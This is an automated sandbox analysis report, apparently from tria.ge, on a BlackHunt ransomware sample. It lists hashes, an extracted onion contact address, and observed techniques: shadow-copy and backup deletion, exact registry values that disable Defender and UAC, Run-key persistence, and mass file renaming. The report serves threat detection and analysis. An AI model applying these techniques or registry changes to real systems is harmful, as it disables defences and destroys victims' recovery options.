Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
144s -
max time network
166s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 01:28
Static task
static1
Behavioral task
behavioral1
Sample
f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Resource
win10v2004-20231215-en
General
-
Target
f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
-
Size
707KB
-
MD5
3c0241b1d591b310be69280d04b01c59
-
SHA1
fa8979ad222299a4a5aa6312dd565566d2045d45
-
SHA256
f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851
-
SHA512
fb017b8506e6469b247e4f7705bb65a1f6b8c0d544052faa293b42e87065397004ebe7f6e7a2a641f677ba072ab83a5af321c07ee3479f320031f732eda8be27
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1t8+vnh:6uaTmkZJ+naie5OTamgEoKxLWogh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 3360 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 2484 bcdedit.exe 3260 bcdedit.exe -
Renames multiple (1541) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 1848 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\P: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\H: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\X: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\W: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\R: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\V: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\Y: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\A: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\Z: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\K: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\B: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\U: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\N: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\O: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\G: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\T: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\I: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\L: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\E: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\J: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\Q: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\S: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\M: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\GoldRing.png f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Simferopol f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata.zh_CN_5.5.0.165303.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app.nl_ja_4.4.0.v20140623020002.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core-execution.xml f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_VideoInset.png f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Sakhalin f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Tehran f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Chagos f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\org-openide-util.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\LICENSE f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\eclipse.inf f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.forms.nl_zh_4.4.0.v20140623020002.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\7-zip.chm f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\Passport.wmv f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\sound.properties f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.lucene.core_3.5.0.v20120725-1805.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-templates_ja.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_VideoInset.png f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Rainy_River f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-templates_zh_CN.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Push\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\NextMenuButtonIcon.png f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Brussels f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Apia f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_specialocc_Thumbnail.bmp f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-overlay.png f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\EET f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+9 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\ct.sym f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.properties f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jre7\lib\jfr\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\Lang\ga.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_CopyDrop32x32.gif f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\plugin.xml f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref_PAL.wmv f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Johannesburg f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9YDT f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.property.nl_zh_4.4.0.v20140623020002.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-background.png f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\15x15dot.png f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_it.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Maputo f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Guatemala f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\Lang\pt-br.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\whiteband.png f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Atikokan f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\MANIFEST.MF f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-ui_ja.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-highlight.png f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1596 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2136 vssadmin.exe 2600 vssadmin.exe 2892 vssadmin.exe 2824 vssadmin.exe 1148 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeRestorePrivilege 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeBackupPrivilege 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeTakeOwnershipPrivilege 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeAuditPrivilege 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeSecurityPrivilege 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeIncBasePriorityPrivilege 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeBackupPrivilege 3348 vssvc.exe Token: SeRestorePrivilege 3348 vssvc.exe Token: SeAuditPrivilege 3348 vssvc.exe Token: SeBackupPrivilege 4016 wbengine.exe Token: SeRestorePrivilege 4016 wbengine.exe Token: SeSecurityPrivilege 4016 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2852 wrote to memory of 2968 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 32 PID 2852 wrote to memory of 2968 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 32 PID 2852 wrote to memory of 2968 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 32 PID 2852 wrote to memory of 2968 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 32 PID 2852 wrote to memory of 2616 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 33 PID 2852 wrote to memory of 2616 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 33 PID 2852 wrote to memory of 2616 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 33 PID 2852 wrote to memory of 2616 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 33 PID 2852 wrote to memory of 2728 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 35 PID 2852 wrote to memory of 2728 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 35 PID 2852 wrote to memory of 2728 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 35 PID 2852 wrote to memory of 2728 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 35 PID 2968 wrote to memory of 1764 2968 cmd.exe 36 PID 2968 wrote to memory of 1764 2968 cmd.exe 36 PID 2968 wrote to memory of 1764 2968 cmd.exe 36 PID 2852 wrote to memory of 1924 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 38 PID 2852 wrote to memory of 1924 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 38 PID 2852 wrote to memory of 1924 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 38 PID 2852 wrote to memory of 1924 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 38 PID 2852 wrote to memory of 2600 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 140 PID 2852 wrote to memory of 2600 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 140 PID 2852 wrote to memory of 2600 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 140 PID 2852 wrote to memory of 2600 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 140 PID 2616 wrote to memory of 2640 2616 cmd.exe 42 PID 2616 wrote to memory of 2640 2616 cmd.exe 42 PID 2616 wrote to memory of 2640 2616 cmd.exe 42 PID 2852 wrote to memory of 2664 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 43 PID 2852 wrote to memory of 2664 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 43 PID 2852 wrote to memory of 2664 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 43 PID 2852 wrote to memory of 2664 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 43 PID 2728 wrote to memory of 2276 2728 cmd.exe 44 PID 2728 wrote to memory of 2276 2728 cmd.exe 44 PID 2728 wrote to memory of 2276 2728 cmd.exe 44 PID 2852 wrote to memory of 1076 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 45 PID 2852 wrote to memory of 1076 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 45 PID 2852 wrote to memory of 1076 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 45 PID 2852 wrote to memory of 1076 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 45 PID 2852 wrote to memory of 2188 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 46 PID 2852 wrote to memory of 2188 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 46 PID 2852 wrote to memory of 2188 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 46 PID 2852 wrote to memory of 2188 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 46 PID 1924 wrote to memory of 2648 1924 cmd.exe 145 PID 1924 wrote to memory of 2648 1924 cmd.exe 145 PID 1924 wrote to memory of 2648 1924 cmd.exe 145 PID 2852 wrote to memory of 2272 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 49 PID 2852 wrote to memory of 2272 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 49 PID 2852 wrote to memory of 2272 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 49 PID 2852 wrote to memory of 2272 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 49 PID 2852 wrote to memory of 2568 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 51 PID 2852 wrote to memory of 2568 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 51 PID 2852 wrote to memory of 2568 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 51 PID 2852 wrote to memory of 2568 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 51 PID 2852 wrote to memory of 2944 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 53 PID 2852 wrote to memory of 2944 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 53 PID 2852 wrote to memory of 2944 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 53 PID 2852 wrote to memory of 2944 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 53 PID 2852 wrote to memory of 2692 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 55 PID 2852 wrote to memory of 2692 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 55 PID 2852 wrote to memory of 2692 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 55 PID 2852 wrote to memory of 2692 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 55 PID 2852 wrote to memory of 2988 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 56 PID 2852 wrote to memory of 2988 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 56 PID 2852 wrote to memory of 2988 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 56 PID 2852 wrote to memory of 2988 2852 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 56 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe"C:\Users\Admin\AppData\Local\Temp\f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
